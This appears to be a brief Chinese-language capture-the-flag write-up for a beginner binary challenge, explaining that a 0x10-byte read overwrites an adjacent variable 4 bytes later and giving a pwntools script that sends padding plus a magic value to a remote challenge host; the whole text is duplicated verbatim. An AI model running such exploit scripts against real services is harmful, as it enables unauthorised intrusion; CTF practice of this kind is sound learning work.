看样子是要让我们通过read(0, &unk_601068, 0x10uLL),读入 unk_601068 将 dword_60106C 覆盖
6c-68=4,所以:
from pwn import *
io = remote("111.198.29.45",45604)
io.recvline()
payload = "A"*4
payload += p64(1853186401)
io.sendline(payload)
io.interactive()
看样子是要让我们通过read(0, &unk_601068, 0x10uLL),读入 unk_601068 将 dword_60106C 覆盖
6c-68=4,所以:
from pwn import *
io = remote("111.198.29.45",45604)
io.recvline()
payload = "A"*4
payload += p64(1853186401)
io.sendline(payload)
io.interactive()